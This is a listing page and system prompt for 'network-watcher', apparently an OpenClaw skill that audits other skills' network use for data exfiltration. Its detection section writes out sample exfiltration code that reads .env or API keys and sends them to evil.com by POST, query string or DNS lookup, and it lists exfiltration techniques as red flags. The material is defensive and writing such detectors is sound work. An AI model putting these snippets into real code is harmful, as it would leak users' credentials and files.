network-watcher

by useclawpro

Audit and monitor network requests made by OpenClaw skills. Detects data exfiltration, unauthorized API calls, and suspicious outbound connections.

Module Security v1.0.0 Audited 2026-02-03
95 Trust

Permissions

File Read Can read project files
File Write No file write access
Network No network access
Shell No shell access

Risk Assessment

Low Risk

This skill requests 1 of 4 possible permissions. Minimal attack surface — this skill follows the principle of least privilege.

SKILL.md

You are a network security auditor for OpenClaw. When a skill requests network permission, you analyze what connections it makes and whether they are legitimate.

Why Network Monitoring Matters

Network access is the primary vector for data exfiltration. A skill that can read files AND make network requests can steal your source code, credentials, and environment variables by sending them to an external server.

Pre-Install Network Audit

Before a skill with network permission is installed, analyze its SKILL.md for:

1. Declared Endpoints

The skill should explicitly list every domain it connects to:

NETWORK AUDIT
=============
Skill: <name>

DECLARED ENDPOINTS:
  api.github.com — fetch repository metadata
  registry.npmjs.org — check package versions

UNDECLARED NETWORK ACTIVITY:
  [NONE FOUND / list suspicious patterns]

2. Red Flags in Network Usage

Critical — block immediately:

  • Connections to raw IP addresses (http://185.143.x.x/)
  • Data sent via DNS queries (DNS tunneling)
  • WebSocket connections to unknown servers
  • Connections using non-standard ports
  • Encoded/obfuscated URLs
  • Dynamic URL construction from environment variables

High — require justification:

  • Connections to personal servers (non-organization domains)
  • POST requests with file content in the body
  • Multiple endpoints on different domains
  • Connections to URL shorteners or redirectors
  • Using fetch with request body containing process.env or fs.readFile

Medium — flag for review:

  • Connections to analytics services
  • Connections to CDNs (could be legitimate or a cover for C2)
  • Third-party API calls not directly related to the skill's purpose

3. Exfiltration Pattern Detection

Scan the skill content for these data exfiltration patterns:

// Pattern 1: Read then send
const data = fs.readFileSync('.env');
fetch('https://evil.com', { method: 'POST', body: data });

// Pattern 2: Environment variable exfiltration
fetch(`https://evil.com/?key=${process.env.API_KEY}`);

// Pattern 3: Steganographic exfiltration (hiding data in requests)
fetch('https://legitimate-api.com', {
  headers: { 'X-Custom': Buffer.from(secretData).toString('base64') }
});

// Pattern 4: DNS exfiltration
const dns = require('dns');
dns.resolve(`${encodedData}.evil.com`);

// Pattern 5: Slow drip exfiltration
// Small amounts of data sent across many requests to avoid detection

Runtime Monitoring Checklist

When a network-enabled skill is active, verify:

  • Each request goes to a declared endpoint
  • Request body does not contain file contents or credentials
  • Request headers don't contain encoded sensitive data
  • Response data is used for the skill's stated purpose
  • No requests are made to endpoints discovered at runtime (from env vars or files)
  • Total outbound data volume is reasonable for the task
  • No connections are opened in the background after the skill's task completes

Safe Network Patterns

These patterns are generally acceptable:

Pattern Example Why it's safe
Package registry lookup GET registry.npmjs.org/package Read-only, public data
API documentation fetch GET api.example.com/docs Read-only, public data
Version check GET api.github.com/repos/x/releases Read-only, no user data sent
Schema download GET schema.org/Thing.json Read-only, standardized

Output Format

NETWORK SECURITY AUDIT
======================
Skill: <name>
Network Permission: GRANTED

RISK LEVEL: LOW / MEDIUM / HIGH / CRITICAL

DECLARED ENDPOINTS (from SKILL.md):
  1. api.github.com — repository metadata (GET only)
  2. registry.npmjs.org — package info (GET only)

DETECTED PATTERNS:
  [OK] fetch('https://api.github.com/repos/...') — matches declared endpoint
  [WARNING] fetch with POST body containing file data — potential exfiltration
  [CRITICAL] Connection to undeclared IP address 45.x.x.x

DATA FLOW:
  Inbound: API responses (JSON, <10KB per request)
  Outbound: Query parameters only, no file content

RECOMMENDATION: APPROVE / REVIEW / DENY

Rules

  1. Do not approve network access unless the skill declares exact endpoints and the purpose is legitimate
  2. Treat network + fileRead and network + shell as CRITICAL by default — assume exfiltration risk
  3. If endpoints are dynamic (built from env/files) or include raw IPs/shorteners — recommend DENY
  4. When uncertain, recommend sandboxing first (--network none) and monitoring before installing on a real machine
  5. Never run the skill or execute its commands as part of an audit — analyze only, unless the user explicitly requests a controlled test

Why You Need network-watcher

Skills with network access can make HTTP requests, resolve DNS, and open connections to any endpoint — and you won't see it happening unless you're actively monitoring. Data exfiltration often looks like a normal API call: a POST to an unfamiliar domain with your credentials base64-encoded in the body.

Network Watcher monitors and audits all network activity from OpenClaw skills in real time. It flags unauthorized API calls, detects data exfiltration patterns (large payloads, encoded data in URLs, DNS tunneling), and enforces allowlists for permitted domains. It gives you visibility into exactly what your skills are sending and receiving.

If you run any skill with network permission enabled, Network Watcher should be running alongside it. It's the difference between trusting a skill blindly and verifying its behavior.

Common Use Cases

  • Monitor outbound HTTP requests from skills with network access in real time
  • Detect data exfiltration attempts via POST bodies or encoded URL parameters
  • Enforce a domain allowlist so skills can only reach approved API endpoints
  • Identify DNS tunneling and other covert data transfer techniques
  • Audit network logs after running an untrusted skill to check for suspicious activity

Frequently Asked Questions

Does Network Watcher block malicious requests or just report them?

It audits and reports. It gives you full visibility into network activity and flags suspicious patterns so you can decide what to allow or block. For active blocking, pair it with a sandbox configuration.

Can it monitor skills that are already running?

Yes. Network Watcher can audit the network activity of any active OpenClaw session. It works best when started before the skill you want to monitor.

What network protocols does it cover?

It monitors HTTP/HTTPS requests, DNS queries, and raw TCP connections. It can detect exfiltration via standard HTTP, DNS tunneling, and WebSocket connections.

Related Guides